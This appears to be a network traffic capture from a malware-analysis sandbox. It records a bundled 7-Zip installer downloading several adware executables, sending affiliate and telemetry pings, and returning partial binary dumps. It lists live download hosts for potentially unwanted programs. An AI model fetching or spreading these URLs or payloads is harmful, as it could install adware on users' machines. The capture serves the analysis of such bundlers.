Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 3430
Connection: keep-alive
Server: nginx
Date: Wed, 29 Apr 2015 09:31:26 GMT
Last-Modified: Wed, 29 Apr 2015 08:47:22 GMT
ETag: "55409a9a-d66"
Expires: Wed, 29 Apr 2015 09:41:26 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 387
X-Cache: Hit from cloudfront
Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8Z6aHHK9crAMagHmdXt0K6zqtwMW4Ye40reHCXidPWaIUMFxLTNFyQ==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>

GET /sponsored/istartsurf/eula-istartsurf.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:42:31 GMT
Last-Modified: Sun, 26 Oct 2014 17:24:16 GMT
Expires: Sun, 26 Apr 2015 05:52:31 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 443
X-Cache: Hit from cloudfront
Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Gutsd2lCB5HIATmCbZKrplINhDTIOgTYgqvN5pLNcR5XGRb9KVTNog==
139c.............Z.s...... ..4.Z....m......g..........#y.>X|.b:....
....R.f&q........]<...o......Y.En.~....s39...}|>..q.....W_]....s
U.....J.........m7....v;.~<.......-.:....'.h.,k........"/..{.9...Ou
...l.?........;......oo.>....M\......G/.....S...f.....V..k..]...\._
...eW......d.1....{z.v....vy....r\...4.zvVvy~..}6........im..z.Y....k.
..Y.6.M.t...........O..O?.....a...M.V....nk.q.W.....w.....7..7.....~..
..>.....V....u.4.).RK....[...B....z....h....;H.....^Ze..o^.W..*].b.
.....~.5?>.?z..,.lw..\;....n...r..5A....*..lK.......|weW_..M......'
.z.......i.l......>....f.k_.p.E....v.$.4...x...y.^9I.zr.4..e.`...Q.
..f7.Wf.k.gS..~.:.....n.....W>..;J..&:...P......<.k..x........k[
C#g..].......(c...)~x......................^...y"...}.N.....)....<_
Ve{......ts;<[....g..`.4..K..#.]?.#.rE.%.{fR...Ilu....'..S..c.l....
'..=.{od...H....=>...}fN.r..G...H.............Ac.../.|........Cc.S.
...Z..\..h.....;.&iL.v..Sf........>..v ...6H.%.....j.\.....t.....7%
<[email protected]>.a/Bi|..1[[email protected]....]..)..|......X^.....<.G\.B..*3I
68..R.f....-.w...........u....E.2...w&u....q...... [email protected]..._...B.
rgZ_....U......>.j.m2....w.C...Z...M...w.^g. .....HO1....g.r... ..6
.P.o...... i.......z.B...9../[email protected]_....2....7.%
. .B....^.[.?N.....w.74........ 6.E_.j["kB..k..x.2'.L.N..Z6..ZN.E\!.7}
z....T...MyJp.aoY.1....x.\...iP.t.....3*.)...4.p...4.l.li.kD.W.......J
...n.=......f"..O@s|n.....m<B.J".Y.<....C.....!;#7.p..2..&.A.{.K
.....s.mp1.g.K.{P.. M....@....]]../.H.z.!X".b.....hL.W.e....vM...)
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:27:22 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
[email protected]].......V..G..........WV.%B..j......S
[email protected]#.E.;.v%8.t!V..G..;.t...,P.u...D.....E.....
..9][email protected]@.....o........j.
.....PV.=A...r...j1........E....V.u..E..w?..V.p.@...t.V..D....h..B.V..
C..P..>..P..D..V.JF...p.@..}..|1V..F..3.;.t..M....QP..`[email protected].
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?e27ae2b1edf5cffe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK
Content-Type: application/x-x509-ca-cert
Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT
Accept-Ranges: bytes
ETag: "05934e1494dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 867
Date: Thu, 30 Apr 2015 09:26:36 GMT
Connection: keep-alive
0.._0..G.............!XS..0...*.H........0L1 0...U....GlobalSign Root 
CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...090318100000Z..29
0318100000Z0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.
0...U....GlobalSign0.."0...*.H.............0.........%v.y.x".......(..
.v....r.F.C....._$..K.`.F.R...Gpl.d...,...=. .......y.;..w...I.jb/.^..
h..'.8...>..&Y.s....&.....[...`.I.(.i;...(....aW7.t..t.:.r/.......=
...3.. .S.:.s..A. :......O..2`.W....hh.8&`u..w..... [email protected].^....w.
d.z._....b..l.Ti....n...qv.i.........B0@0...U...........0...U.......0.
...0...U........K...E$.MP.c.......0...*[email protected].
...A.....(.3.k.t...-..........sgJ..D{x..nlo.).39E....Wl.....S.-.$l..c.
.ShgV>...5!..h....S......]F...zX(./....7A..Dm.S(.~.g.........L'.L.s
sv.....z..-....,.<.U...~6..WI...-|`..AQ.#...2k.....,3.:;%..@.;,.x.a
/....Uo.....M.(.r..bPe.....1....GX?_HTTP/1.1 200 OK..Content-Type: app
lication/x-x509-ca-cert..Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT.
.Accept-Ranges: bytes..ETag: "05934e1494dd01:0"..Server: Microsoft-IIS
/7.5..X-Powered-By: ASP.NET..Content-Length: 867..Date: Thu, 30 Apr 20
15 09:26:36 GMT..Connection: keep-alive..0.._0..G.............!XS..0..
.*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1
.0...U....GlobalSign0...090318100000Z..290318100000Z0L1 0...U....Globa
lSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0.."0...*.
H.............0.........%v.y.x".......(...v....r.F.C....._$..K.`.F.R..
.Gpl.d...,...=. .......y.;..w...I.jb/.^..h..'.8...>..&Y.s....&.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=214170-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71388
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 214170-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qgm7iV5xJVaVbp28pgW77r1sTsAPTY0-zLCSo3L_hhIAR14fuGT9zQ==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=457849-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:09 GMT
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Range: bytes 457849-523255/523256
Content-Length: 65407
Connection: keep-alive
[email protected].............%...a...A*..P..=>(..;.....v.
.@j....|)[email protected]%..=(..$.9.lP..n.4...S......!0.....<...9.T.5-.
:.L.=.E...........W.4r.lk..c...'.P~..............D.-k.q.=co$.0....\L..
&_&z.].HN....)7..|.[.Q;.Aa<.....0]....K.....g`x..Pw...L!!.........f
R.Dht_H....X...h..n.....~.n.... v,[email protected].:../..Q
.'......AD...^...'.....If.X........u..g.....D.1aW.w....3..J9....VQ5.].
. A.?...t......>N.V.u.Q.....}..dT<b.*..s.t..W.1(......; ..!...^Q
.l...P....ZC....iLU....o4..<..8.ld...\O..........o.|...J.........KB
$..|n.x...~...'}....Y.v..`~..^..~z.TU..T.......=p~..W.,..K...d........
lbO#R.`.3y.m...6..o..."2C[.X[q.....ws.x..^...[..L(..5'.g.T.x....Q./!u.
8........*...g..~....).FY...Y.F.M..G.By......r.eE..dI..b. ..>C.....
aSI......"X..1.......L..7.1..Jj.E.D..........m.C..../o.n...[.I.v..SP..
..e......'Bxn..H...dp.O....#:..{..?..^....O.. ....MD...D'N.*.....6.M..
R.P.a.............d..;...h4T.....(./BsjpD.......hH0..,.2.B..5...!.M.. 
1....B.@...'.E..x~....f..N..=!.1....:.J....gj....C.._. G".......o.Q9.O
..#.u........T.....(...W#.(.CIt=...*.>dn*..n.b.."............[..=.,
$.\..R..`k(%...q.|l..M../.0(..L#9....F.Z.G<...W`.X.H\.e.;.....j.M..
............q..H........S..`..e|)[email protected].?.>.\..i;...0...
..G......./...V.V. .j.w|....X.>r....ifZ.X...g.../sU2..p6.$....R....
....,.....X..!S~.Wq..u...^.......*>..(.d....e..|I....nx...W....C2*.
.).j;{Y..mw*BW.....nu.. F...(......3wXt.g.zL..*.l...O@ze......'.4...A.
.1!........Y....V..G5s.p.9...\[email protected]\U......'@1...L.e.tq.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=130814-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:09 GMT
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Range: bytes 130814-523255/523256
Content-Length: 392442
Connection: keep-alive
[email protected]}R...;B...,..vgQ4...W..O&....=.....
..s../y.wa.h.0p$.Vf.J...JD..j5..........;...Y.....:k.tT=..x./....E..n.
..........$.s=.....)8p.E....B..c.$..Vj;.,.t.D|6d.B.lp.>Y.C.........
w.^|..Yx.P`N..j.RN.. ...~...Lok.....o..m%`,@,.....J.S...jM@.....#...J.
.h..U^...`.RV.,^z..1.d/>?.u.\......{.r.l....M........e.&...[.6<.
.M.......h.^...H.)..6.........../.O.]........W}. ...$..x9.9.i.......).
.~..b.T.........f...<8...C..$>YC............t..R.....`.*Q.va...q
@..........q.........Yz..`.....i...X.y...1.KQ...w,d.....4Oxn....... (.
...6.MY. .u...".Q.Fn.D..<..o..M.......&ZYJ.b5.24o...M...j..$...l>
;.`rlx~..~F6Zh..>..`...i.y..-.e.....2.. ..CCkx...&.g.....j..Y......
V.5...5.[....z.J.....R..x..u..i...|.....Y.s..-s.1.>...F.....G...YWH
.0.H.... .6=AQ.s.......%..3n.S.,..RY.D%...l.G^..Ny.QMb...>..=.1:h8.
2.......%.Qv.=.g.i.........{.~.o....5.1g[...._ .C.o.=.....%...[..[..i.
...Z/.z..i..UP.......8...sX..Y......iYI...C.(E7..S..9...H,L...e..^ N.7
...x.Qp.J.T....xz}.....&.%...<,. ..{s.=..Vp.........'./......Zv9.m.
.P.f..8....w...`..pJ....>a.'(....s'...l|t.....WO ..)3......2.....F.
..@...#.v........29.#..w.-...nN..S"w..b........4.HY.......>.v..?...
...>.#..\...sA.......W....^pS.z......9..%Q.l...7.}...[..*<  rq.L
:....[.$7=.=B.mE-......)s..KM...........!..s..xa2...v3..uF...gO.G'.B.e
..-...z#..ck{`.v....`gx....Eg........`[email protected]...'.A.....Z...LVA
Qd.q..( ...........6...6....P"..~.9......47..T.....IE..([.S.O.|o.1{Ue.
.?C^-................T9P.pb..B#.....0_B....:#....v....8<.M:A.."
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.030386420728304442 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:25:39 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:25:39 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ds HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 30 Apr 2015 09:23:26 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.29 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Thu, 30 Apr 201
5 09:23:26 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.29 ms","message":"store 1 act
ion and 0 update "}..0......


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Thu, 30 Apr 2015 09:23:37 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.39 ms","message":"store 1 action and 0 upd
ate "}..0..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=36462-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 36460
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 36462-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: mm9QauVzEQ29ngO7_HHxf5AQfU1SUB6oSEhoK1GonMBu6Fyq7MnTeA==
......................................................................
.................................................................._...
..........................................V...........................
..................QS`.............%..............................RST..
........S;..............S.................QOTh.........P;??...........
...U...............QOK`.........P;?@@?..............S..............#J^
`........P;?@@@@?..............U............"IK`h........DdEBA@@@@=...
.........SU..........$.JLh........cgg..jEA>..<...........SO.....
......HK^h...............eE...............OU........%.FJ^h............
....j...............SI..........FJ]b................e...............SO
U......%..'M]b................e..............._OI......$.(*MXob.......
........................VP ........(3W\a..........hpppiffT............
..VPIU......)25[n.................................ZPI ......07km......
............................ZPI ......678.............................
......ZP......./6~..................................aZXJ........6~8...
........................a.ZaZaZXKJ........679m........................
.....Z_ZT_PI........075kmn........................._._VTTPPI........)-
.Yln..........................V_VPTPIG........& ,Nlo..................
.........._TPKI.. .....!/45km.................................SR.R....
.%1~...............................................{..................
............................%z.....................................}..
...................t...z.|z..t...............|.........yz......|..
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.07590714561381573 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:07 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:07 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:23:52 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=419580-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 251748
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 419580-671327/671328
.<...Q..8...QRP.0>.... ......^]..u...4...Q..0...QRP..>....(..
....^].-rF.?rF.hrF..rF..rF..rF..rF.=sF.QrF..sF.........U..V.u.........
...Z=..............0.....4...^]..U...E..M..U.............].......U...E
..M..U.............].......U...U...|!.M.....r..E.......@............].
.E............................]......U...U...|!.M.....r..E....... ....
........]..E............................]......U.........T.H.3..E..E.S
VW.8..............3...t.....x.....d.....h.....l.....p.....\.....`.....
T.....X.....P.......;...U. .4......U..E. .0....E..5P.G..E............`
........E..U........z....................M..U..m.... .................
.......z....................E..M..m....................9.......j....M.
..P.............9M.|....U.;U.v..E..M....E....P....E....T..............
.......................}...I.........|..........U....E......E.........
.......M.RPQV..:........E...u.......u....P....M. ..P......T......T....
.|....].x-..=7.A.v$..|....E..5H.H.....................^j.h....SP.Z*...
......RPSQ..................2........................;.|...;.w........
................................tk............R......Q......R......Q..
....R......Q......R......QR......$..t.h4.H.W..=....._..^[.M.3........]
.........t].............. .\$........\$........\$.........$Q......$..t
.h4.H.W.u=....._..^[.M.3........]...P............xF................t.Q
P..0...h..H.P..........0...h`.H.Q........................ ............
....................................PQVS.......\.....`.....|[.....'..v
.j.jdVS.....R......P.......#..|2....t,............j.jdQR.2(..VSRP.
<<< skipped >>>


GET /4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 i31fTgrR12XwN5lyRGN/ZhwIcLERiDa7oGT OLwKV823JQyItD8S5vDK0emj6kkzGQeFtx5 eqtFssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvt0xgtq2YEqI49BuL0n8vhSftUaxxCxaYQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:37 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:37 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321583-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 964746
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 17 Apr 2015 07:56:30 GMT
Content-Range: bytes 321583-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 bd5652a800046ffa43683320c0e731b4.cloudfront.net (CloudFront)
X-Amz-Cf-Id: rfZVLa0ZiPM0HOTGKv1bkbKkHWkDBwtdWiwP9Z2BcAS-3cmR15T8Gw==
.`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n.........
........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3....
Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.'
.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....t
...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G............
_.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....6
_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3..
E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M......
